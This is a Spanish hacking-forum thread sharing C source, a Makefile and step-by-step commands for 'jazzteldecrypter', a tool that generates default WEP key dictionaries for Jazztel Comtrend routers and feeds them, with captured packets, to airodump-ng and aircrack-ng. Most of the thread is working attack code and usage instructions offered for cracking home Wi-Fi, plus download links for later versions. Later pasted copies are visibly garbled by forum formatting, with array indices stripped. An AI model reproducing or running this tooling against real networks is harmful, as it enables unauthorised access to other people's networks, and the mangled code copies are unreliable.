elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Análisis del vídeo del hackeo al Sindicato de los Mossos de Esquadra


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Wireless
| | |-+  Wireless en Linux (Moderador: ChimoC)
| | | |-+  Jazzteldecrypter v.0.2.1 Actualizado
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Jazzteldecrypter v.0.2.1 Actualizado  (Leído 37,865 veces)
ChimoC
Por la libertad y contra el terrorismo
Moderador
***
Desconectado Desconectado

Mensajes: 5.142


Paz, dignidad y justicia


Ver Perfil
Jazzteldecrypter v.0.2.1 Actualizado
« en: 11 Octubre 2008, 09:52 »

Buenas:

Gracias de nuevo a Hwagm. http://foro.seguridadwireless.net/index.php/topic,16257.0.html

Y al user buckynet

Os pongo un copy/paste del jazzteldecryper  ;D  (así que cambiad la seguridad a WPA)

Muy guenas a tod@s !!

Metiendo la pata sin permiso en el codigo C de wlandecrypter, original de Nilp0inteR. He modificado el programa para obtener por diccionario la clave WEP de los ESSID tipo JAZZTEL_xx con BSSID tipo 00:1A:2B y como minimo solo 5 IVS.

jazzteldecrypter.c
Código:
/*****************************************************************************
* Fichero: jazzteldecrypter.c
* Fecha: 23-03-2006
* Autor: Nilp0inteR (nilp0inter2k6[at]gmail[dot]com)
* Actualizado: 2008 buckynet
*
* Descripcion: Generador de diccionario de claves por defecto para los
* router de Jazztel Comtrend.
*
* Este programa es software libre; puedes redistribuirlo y/o modificarlo
* bajo los terminos de la Licencia Publica General GNU (GPL) publicada
* por la Free Software Foundation; en su version numero 2, o (bajo tu
* criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt.
*
* Este programa se distribuye SIN GARANTIA de ningun tipo.
*
*****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//
// Numero de modelos de routers en la base de datos
//
#define MAXROUTER 12
#define MAXINDEX 1
#define VERSION 0
#define SUBVERSION 0

//
// Tipo de dato Router, con toda la informacion
//
typedef struct Router
{
char bssid[9];
char init[MAXINDEX][8];
char notas[30];
} tRouter;

//
// Variables globales
//
char hex[16]="0123456789ABCDEF";

//
// Funciones
//
void initRouters(tRouter routers[MAXROUTER]);
void datosRouters(tRouter routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(tRouter routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd);

//
// MAIN !!!
//
int main(int argc, char *argv[])
{
int bssidId, i;
int validHex=0;
char endKey[2];
tRouter routers[MAXROUTER];
FILE *fichero;

if(argc<3 || argc>4)
{
muestraAyuda();
return 1;
}

fprintf(stderr, "\njazzteldecrypter %i.%i - (c) 2008 nilp0inter2k6\n", VERSION, SUBVERSION);

if(strlen(argv[1])!=17)
{
fprintf(stderr," [-] Longitud de BSSID invalida\n");
return 1;
}

initRouters(routers);
datosRouters(routers);


bssidId=buscaBssid(routers, argv[1]);

if(bssidId==-1)
{
fprintf(stderr, " [-] BSSID no encontrado\n");
return 1;
}
else
{
fprintf(stderr, " [+] BSSID: %s\n"
" [+] Modelo: %s\n", argv[1], routers[bssidId].notas);

for(i=0;i<strlen(argv[2]);i++)
argv[2][i]=toupper(argv[2][i]);

if(strlen(argv[2]) != 10 || strncmp("JAZZTEL_", argv[2], 8) != 0 )
{
fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
return 1;
}
else
{
for(i=0;i<strlen(hex);i++)
{
if(argv[2][8]==hex[i])
{
validHex++;
break;
}
}
for(i=0;i<strlen(hex);i++)
{
if(argv[2][9]==hex[i])
{
validHex++;
break;
}
}

if(validHex!=2)
{
fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
return 1;
}
else
{
endKey[0]=argv[2][8];
endKey[1]=argv[2][9];

fprintf(stderr," [+] ESSID: %s\n", argv[2]);

if(argc>3) // Fichero
{

fprintf(stderr," [+] Fichero de claves: %s\n", argv[3]);
fichero=fopen(argv[3], "a+");
if(fichero!=NULL)
{
imprimeClaves(fichero,routers,bssidId,endKey);
fclose(fichero);
fprintf(stderr, " [+] Fichero guardado\n");
}
else
{
fprintf(stderr," [-] Error al abrir el fichero\n");
return 1;
}
}
else
{
fprintf(stderr," [+] Seleccionada salida estandar\n");
imprimeClaves(stdout,routers,bssidId,endKey);
}
}
}

}

return 0;
}

//
// Vacia la estructura routers
//
void initRouters(tRouter routers[MAXROUTER])
{
int i,j;
for(j=0;j<MAXROUTER;j++)
{
strcpy(routers[j].bssid,"");
for(i=0;i<5;i++)
strcpy(routers[j].init[i],"");
strcpy(routers[j].notas,"");
}
}

//
// Introduce los datos de los modelos conocidos
//
void datosRouters(tRouter routers[MAXROUTER])
{
int i =0;
// Comtrend
strcpy(routers[i].bssid,"00:1A:2B\0");
strcpy(routers[i].init[0],"E001D20\0");
strcpy(routers[i].notas,"Comtrend\0");
i++;
}

//
// Muestra la ayuda del programa
//
void muestraAyuda()
{
fprintf(stderr, "\njazzteldecrypter %i.%i - (c) 2008 nilp0inter2k6\n", VERSION, SUBVERSION);

fprintf(stderr, "  uso: jazzteldecrypter <bssid> <essid> [output file]\n\n");
}

//
// Busca el bssid en la estructura y devuelve el identificador o
//  -1 si no existe
//
int buscaBssid(tRouter routers[MAXROUTER], char *bssid)
{
int i;

for(i=0;i<strlen(bssid);i++)
bssid[i]=toupper(bssid[i]);

for(i=0;i<MAXROUTER;i++)
{
if(strncmp ( routers[i].bssid, bssid, 8 ) == 0)
return i;
}

return -1;
}

//
// Imprime las claves en un fichero
//
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd)
{
int i,j,k,l,index=0;

while(index<MAXINDEX && strcmp(routers[bssidId].init[index], ""))
{
       for(i=0;i<16;i++)
               for(j=0;j<16;j++)
                       for(k=0;k<16;k++)
                               for(l=0;l<16;l++)
                               {
fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init[index],hex[i],hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]);
                               }
index++;
}

}

make
Código:
CC = gcc
CFLAGS          = -g -O2
OPTFLAGS        = -D_FILE_OFFSET_BITS=64

prefix          = /usr
sbindir = $(prefix)/sbin

DESTDIR         =
SBINFILES       = jazzteldecrypter

all: jazzteldecrypter

jazzteldecrypter: jazzteldecrypter.c
$(CC) $(CFLAGS) $(OPTFLAGS) jazzteldecrypter.c -o jazzteldecrypter

install:
install -d $(DESTDIR)$(sbindir)
install -m 755 $(SBINFILES) $(DESTDIR)$(sbindir)

uninstall:
rm -f $(DESTDIR)$(sbindir)/jazzteldecrypter


clean:
rm -f jazzteldecrypter

Instalacion:
Código:
make clean && make && make install

Uso:
Código:
jazzteldecrypter <bssid> <essid> [output file]

Ejemplo:
Código:
jazzteldecrypter 00:11:22:33:44:55 JAZZTEL_XX diccionario.txt
aircrack-ng -b 00:11:22:33:44:55 -w diccionario.txt captura.cap

Tambien los scripts de airoscript y airoway tienen una opcion mas

Un saludo.

PD: Como siempre, en algo, habre metido la pata.[/i]

Para su funcionamiento:

Abrimos una shell

Código:
gcc jazzteldecrypter.c -o jazzteldecrypter

Ahora verás que te ha creado un nuevo archivo, y en la shell escribes

./jazzteldecrypter BSSID JAZZTEL_XX diccionario.txt




@*dudux:

Abres una shell:

Código:
gcc jazzteldecrypter.c -o jazzteldecrypter

cp jazzteldecrypter /usr/bin/

jazzteldecrypter BSSID JAZZTEL_XX diccionario.txt

airodump-ng -w jazztel -c 6 ath0

aircrack-ng -b BSSID -w diccionario.txt capturacon5ivs.ivs

Un saludo

ChimoC
« Última modificación: 2 Mayo 2010, 10:53 por ChimoC » En línea

longits
LT-23
Colaborador
***
Desconectado Desconectado

Mensajes: 2.153


LT-23


Ver Perfil
Re: Jazzteldecrypter
« Respuesta #1 en: 11 Octubre 2008, 13:14 »

Muy buen trabajo, muchas gracias.

Eso sí, me temo el aluvión de posts preguntando "y que hago yo con el texto ese". Es lo de siempre, quizás lo mejor sea darlo todo hecho y compilado.

Un abrazo, gracias de nuevo por la aportación.
En línea

Por favor, usa topics descriptivos.
Por favor, cuida un poco la ortografía.

Por favor, un mínimo de inteligencia emocional.
ChimoC
Por la libertad y contra el terrorismo
Moderador
***
Desconectado Desconectado

Mensajes: 5.142


Paz, dignidad y justicia


Ver Perfil
Re: Jazzteldecrypter
« Respuesta #2 en: 23 Diciembre 2009, 11:29 »

Buenas:

De ladvan (user de la página hermana de seguridadwireless)

hola:
me gustaria hacer una contribucion, acabo de añadir una mejora al codigo del jazzteldecrypter para que permita el uso de essid cambiado dejo las siguientes opciones de descargar:

http://rapidshare.com/files/321291023/jazzteldecrypter-0.1.tar.gz.html
MD5: 1B19985FF31D27EDE4532B25F510BBEB

http://www.megaupload.com/?d=JYNA0OTG


Un saludo

ChimoC
En línea

ChimoC
Por la libertad y contra el terrorismo
Moderador
***
Desconectado Desconectado

Mensajes: 5.142


Paz, dignidad y justicia


Ver Perfil
Re: Jazzteldecrypter
« Respuesta #3 en: 30 Enero 2010, 11:54 »

Buenas:

Del compañero m.k http://foro.elhacker.net/profiles/mk-u236857.html

Citar
/*****************************************************************************
* Fichero:                      jazzteldecrypter2.c
* Fecha:                        23-03-2006
* Autor:                        Nilp0inteR (nilp0inter2k6[at]gmail[dot]com)
* Actualizado:                  2008 buckynet 2009 Maese Kamara M.k.
*
* Descripcion: Generador de diccionario de claves por defecto para los
* router de Jazztel Comtrend. (solo para los nuevos patrones)
*
* Este programa es software libre; puedes redistribuirlo y/o modificarlo
* bajo los terminos de la Licencia Publica General GNU (GPL) publicada
* por la Free Software Foundation; en su version numero 2, o (bajo tu
* criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt.
*
* Este programa se distribuye SIN GARANTIA de ningun tipo.
*
*****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//
// Numero de modelos de routers en la base de datos
//
#define MAXROUTER 12
#define MAXINDEX 1
#define VERSION 0
#define SUBVERSION 0

//
// Tipo de dato Router, con toda la informacion
//
typedef struct Router
{
        char bssid[9];
        char init[MAXINDEX][8];
        char notas[30];
} tRouter;

//
// Variables globales
//
char hex[16]="0123456789ABCDEF";

//
// Funciones
//
void initRouters(tRouter routers[MAXROUTER]);
void datosRouters(tRouter routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(tRouter routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd);

//
// MAIN !!!
//
int main(int argc, char *argv[])
{
        int bssidId, i;
        int validHex=0;
        char endKey[2];
        tRouter routers[MAXROUTER];
        FILE *fichero;
        
        if(argc<3 || argc>4)
        {
                muestraAyuda();
                return 1;
        }

        fprintf(stderr, "\njazzteldecrypter2 %i.%i - (c) 2008 nilp0inter2k6\n", VERSION, SUBVERSION);
        
        if(strlen(argv[1])!=17)
        {
                fprintf(stderr," [-] Longitud de BSSID invalida\n");
                return 1;
        }
                
        initRouters(routers);
        datosRouters(routers);


        bssidId=buscaBssid(routers, argv[1]);

        if(bssidId==-1)
        {
                fprintf(stderr, " [-] BSSID no encontrado\n");
                return 1;
        }
        else
        {
                fprintf(stderr, "
  • BSSID: %s\n"
                               "
  • Modelo: %s\n", argv[1], routers[bssidId].notas);

                for(i=0;i<strlen(argv[2]);i++)
                        argv[2]=toupper(argv[2]);

                if(strlen(argv[2]) != 10 || strncmp("JAZZTEL_", argv[2], 8) != 0 )
                {
                        fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
                        return 1;
                }
                else
                {
                        for(i=0;i<strlen(hex);i++)
                        {
                                if(argv[2][8]==hex)
                                {
                                        validHex++;
                                        break;
                                }
                        }
                        for(i=0;i<strlen(hex);i++)
                        {
                                if(argv[2][9]==hex)
                                {
                                        validHex++;
                                        break;
                                }
                        }

                        if(validHex!=2)
                        {
                                fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
                                return 1;
                        }
                        else
                        {
                                endKey[0]=argv[2][8];
                                endKey[1]=argv[2][9];

                                fprintf(stderr,"
  • ESSID: %s\n", argv[2]);
                               
                                if(argc>3) // Fichero
                                {
                                        
                                        fprintf(stderr,"
  • Fichero de claves: %s\n", argv[3]);
                                       fichero=fopen(argv[3], "a+");
                                        if(fichero!=NULL)
                                        {
                                                imprimeClaves(fichero,routers,bssidId,endKey);
                                                fclose(fichero);
                                                fprintf(stderr, "
  • Fichero guardado\n");
                                       }
                                        else
                                        {
                                                fprintf(stderr," [-] Error al abrir el fichero\n");
                                                return 1;
                                        }
                                }
                                else
                                {
                                        fprintf(stderr,"
  • Seleccionada salida estandar\n");
                                       imprimeClaves(stdout,routers,bssidId,endKey);
                                }
                        }
                }

        }
                
        return 0;
}      

//
// Vacia la estructura routers
//
void initRouters(tRouter routers[MAXROUTER])
{
        int i,j;
        for(j=0;j<MAXROUTER;j++)
        {
                strcpy(routers[j].bssid,"");
                for(i=0;i<5;i++)
                        strcpy(routers[j].init,"");
                strcpy(routers[j].notas,"");
        }
}

//
// Introduce los datos de los modelos conocidos
//
void datosRouters(tRouter routers[MAXROUTER])
{
        int i =0;
        // Comtrend
        strcpy(routers.bssid,"00:1A:2B\0");
        strcpy(routers.init[0],"E64680C\0");
     strcpy(routers.notas,"Comtrend\0");
        i++;
}

//
// Muestra la ayuda del programa
//
void muestraAyuda()
{
        fprintf(stderr, "\njazzteldecrypter %i.%i - (c) 2008 nilp0inter2k6\n", VERSION, SUBVERSION);

        fprintf(stderr, "  uso: jazzteldecrypter <bssid> <essid> [output file]\n\n");
}

//
// Busca el bssid en la estructura y devuelve el identificador o
//  -1 si no existe
//
int buscaBssid(tRouter routers[MAXROUTER], char *bssid)
{
        int i;
        
        for(i=0;i<strlen(bssid);i++)
                bssid=toupper(bssid);

        for(i=0;i<MAXROUTER;i++)
        {
                if(strncmp ( routers.bssid, bssid, 8 ) == 0)
                        return i;
        }
        
        return -1;
}

//
// Imprime las claves en un fichero
//
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd)
{
        int i,j,k,l,index=0;
        
        while(index<MAXINDEX && strcmp(routers[bssidId].init[index], ""))
        {
                for(i=0;i<16;i++)
                        for(j=0;j<16;j++)
                                for(k=0;k<16;k++)
                                        for(l=0;l<16;l++)
                                        {
                                                fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init[index],hex,hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]);
                                        }
                index++;
        }

}

Un saludo

ChimoC
En línea

ChimoC
Por la libertad y contra el terrorismo
Moderador
***
Desconectado Desconectado

Mensajes: 5.142


Paz, dignidad y justicia


Ver Perfil
Re: Jazzteldecrypter
« Respuesta #4 en: 7 Febrero 2010, 21:17 »

BUenas:

Nuevamente m.k  ;)

Os pongo un past/copy

Jazzteldecrypter modificado

Ahora crea un diccionario con los dos posibles patrones


jazzteldecrypter2.c
Citar
/*****************************************************************************
* Fichero:                      jazzteldecrypter2.c
* Fecha:                        23-03-2006
* Autor:                        Nilp0inteR (nilp0inter2k6[at]gmail[dot]com)
* Actualizado:                  2008 buckynet     2010 Maese Kamara M.k.
*
* Descripcion: Generador de diccionario de claves por defecto para los
* router de Jazztel Comtrend. (antiguos y nuevos patrones)
*
* Este programa es software libre; puedes redistribuirlo y/o modificarlo
* bajo los terminos de la Licencia Publica General GNU (GPL) publicada
* por la Free Software Foundation; en su version numero 2, o (bajo tu
* criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt.
*
* Este programa se distribuye SIN GARANTIA de ningun tipo.
*
*****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//
// Numero de modelos de routers en la base de datos
//
#define MAXROUTER 12
#define MAXINDEX 1
#define VERSION 0
#define SUBVERSION 0

//
// Tipo de dato Router, con toda la informacion
//
typedef struct Router
{
        char bssid[9];
        char init[MAXINDEX][8];
        char init1[MAXINDEX][8];
        char notas[30];
} tRouter;

//
// Variables globales
//
char hex[16]="0123456789ABCDEF";

//
// Funciones
//
void initRouters(tRouter routers[MAXROUTER]);
void datosRouters(tRouter routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(tRouter routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd);

//
// MAIN !!!
//
int main(int argc, char *argv[])
{
        int bssidId, i;
        int validHex=0;
        char endKey[2];
        tRouter routers[MAXROUTER];
        FILE *fichero;
       
        if(argc<3 || argc>4)
        {
                muestraAyuda();
                return 1;
        }

        fprintf(stderr, "\njazzteldecrypter2 %i.%i - (c) 2008 nilp0inter2k6 \n", VERSION, SUBVERSION);
       
        if(strlen(argv[1])!=17)
        {
                fprintf(stderr," [-] Longitud de BSSID invalida\n");
                return 1;
        }
               
        initRouters(routers);
        datosRouters(routers);


        bssidId=buscaBssid(routers, argv[1]);

        if(bssidId==-1)
        {
                fprintf(stderr, " [-] BSSID no encontrado\n");
                return 1;
        }
        else
        {
                fprintf(stderr, "
  • BSSID: %s\n"
                                "
  • Modelo: %s\n", argv[1], routers[bssidId].notas);

                for(i=0;i<strlen(argv[2]);i++)
                        argv[2]=toupper(argv[2]);

                if(strlen(argv[2]) != 10 || strncmp("JAZZTEL_", argv[2], 8) != 0 )
                {
                        fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
                        return 1;
                }
                else
                {
                        for(i=0;i<strlen(hex);i++)
                        {
                                if(argv[2][8]==hex)
                                {
                                        validHex++;
                                        break;
                                }
                        }
                        for(i=0;i<strlen(hex);i++)
                        {
                                if(argv[2][9]==hex)
                                {
                                        validHex++;
                                        break;
                                }
                        }

                        if(validHex!=2)
                        {
                                fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
                                return 1;
                        }
                        else
                        {
                                endKey[0]=argv[2][8];
                                endKey[1]=argv[2][9];

                                fprintf(stderr,"
  • ESSID: %s\n", argv[2]);
                               
                                if(argc>3) // Fichero
                                {
                                       
                                        fprintf(stderr,"
  • Fichero de claves: %s\n", argv[3]);
                                        fichero=fopen(argv[3], "a+");
                                        if(fichero!=NULL)
                                        {
                                                imprimeClaves(fichero,routers,bssidId,endKey);
                                                fclose(fichero);
                                                fprintf(stderr, "
  • Fichero guardado\n");
                                        }
                                        else
                                        {
                                                fprintf(stderr," [-] Error al abrir el fichero\n");
                                                return 1;
                                        }
                                }
                                else
                                {
                                        fprintf(stderr,"
  • Seleccionada salida estandar\n");
                                        imprimeClaves(stdout,routers,bssidId,endKey);
                                }
                        }
                }

        }
               
        return 0;
}       

//
// Vacia la estructura routers
//
void initRouters(tRouter routers[MAXROUTER])
{
        int i,j;
        for(j=0;j<MAXROUTER;j++)
        {
                strcpy(routers[j].bssid,"");
                for(i=0;i<5;i++)
                        strcpy(routers[j].init,"");
                strcpy(routers[j].notas,"");
        }
}

//
// Introduce los datos de los modelos conocidos
//
void datosRouters(tRouter routers[MAXROUTER])
{
        int i =0;
        // Comtrend
        strcpy(routers.bssid,"00:1A:2B\0");
        strcpy(routers.init[0],"E001D20\0");
        strcpy(routers.init1[0],"E64680C\0");
     strcpy(routers.notas,"Comtrend\0");
        i++;
}

//
// Muestra la ayuda del programa
//
void muestraAyuda()
{
        fprintf(stderr, "\njazzteldecrypter %i.%i - (c) 2008 nilp0inter2k6\n", VERSION, SUBVERSION);
        fprintf(stderr, "  Actualizado por Bukynet (2008) --  Maese Kamara M.k. (2010)\n\n");
        fprintf(stderr, "  uso: jazzteldecrypter <bssid> <essid> [output file]\n\n");
}

//
// Busca el bssid en la estructura y devuelve el identificador o
//  -1 si no existe
//
int buscaBssid(tRouter routers[MAXROUTER], char *bssid)
{
        int i;
       
        for(i=0;i<strlen(bssid);i++)
                bssid=toupper(bssid);

        for(i=0;i<MAXROUTER;i++)
        {
                if(strncmp ( routers.bssid, bssid, 8 ) == 0)
                        return i;
        }
       
        return -1;
}

//
// Imprime las claves en un fichero
//
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd)
{
        int i,j,k,l,m,n,p,q,index=0;
       
        while(index<MAXINDEX && strcmp(routers[bssidId].init[index], ""))
        {
                for(i=0;i<16;i++)
                        for(j=0;j<16;j++)
                                for(k=0;k<16;k++)
                                        for(l=0;l<16;l++)
                                        {
                                                fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init[index],hex,hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]);
                                        }
        {
                for(m=0;m<16;m++)
                        for(n=0;n<16;n++)
                                for(p=0;p<16;p++)
                                        for(q=0;q<16;q++)
                                        {
                                                fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init1[index],hex[m],hex[n],hex[p],hex[q],keyEnd[0],keyEnd[1]);
                                        }
                index++;
        }

    }


}


ahora solo es cuestion de compilarlo
Citar
gcc jazzteldecrypter2.c -o jazzteldecrypter

y copiarlo a
/usr/local/bin
sustituyendo el jazzteldecrypter que existe por el compilado

así se puede usar sin problemas con el airoscript


Saludos.
En línea

ChimoC
Por la libertad y contra el terrorismo
Moderador
***
Desconectado Desconectado

Mensajes: 5.142


Paz, dignidad y justicia


Ver Perfil
Re: Jazzteldecrypter
« Respuesta #5 en: 7 Marzo 2010, 10:41 »

Buenas:

De Niroz&Me|on (user de la página hermana)


JAZZTELDECRYPTER 0.2 (basado en wlandecrypter 1.2)

Nuevo patrón de claves: E64680CxxxxXX

USO

 uso: jazzteldecrypter [-l] <bssid> <essid> [output_file opciOn]
 

 -l : lista en pantalla todos los routers conocidos (sólo hay uno : )

 opciOn:

 -e : genera diccionario experimental para routers desconocidos
 
 -a : genera diccionario con todos los routers conocidos y una JAZZTEL_XX
 
 
 <essid> = JAZZTEL_??, para crear diccionario con todas las posibilidades. ESSID cambiados.


Más info -> README.txt

Descarga:






 
Un saludo

ChimoC

EDITO: Del compañero Niroz&Me|on

JAZZTELDECRYPTER 0.2.1

Cambios: Genera diccionarios colocando todas las claves con patrón E001D20 primero y las claves tipo E64680C después, en lugar de ir entrelazados como en la versión anterior, para ganar velocidad con wlanreaver ya que el primer patrón es mucho más probable que el segundo.

Descarga:

Linux -> http://www.box.net/shared/rsbhautkoy
« Última modificación: 6 Abril 2010, 15:25 por ChimoC » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[C/SRC] Realign PE (Actualizado)
Programación C/C++
The Swash 4 3,435 Último mensaje 8 Febrero 2011, 03:10
por titan6146
Yu-Gi-Oh AD [Actualizado 09-03-2011]
Juegos y Consolas
DarkMatrix 9 11,396 Último mensaje 12 Marzo 2011, 04:07
por DarkMatrix
JODEMOVILES v3.0 - XD (ACTUALIZADO Y CON SOPORTE A MAC OS) « 1 2 ... 6 7 »
Hacking Mobile
BlackM4ster 69 40,880 Último mensaje 7 Mayo 2012, 23:41
por beholdthe
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines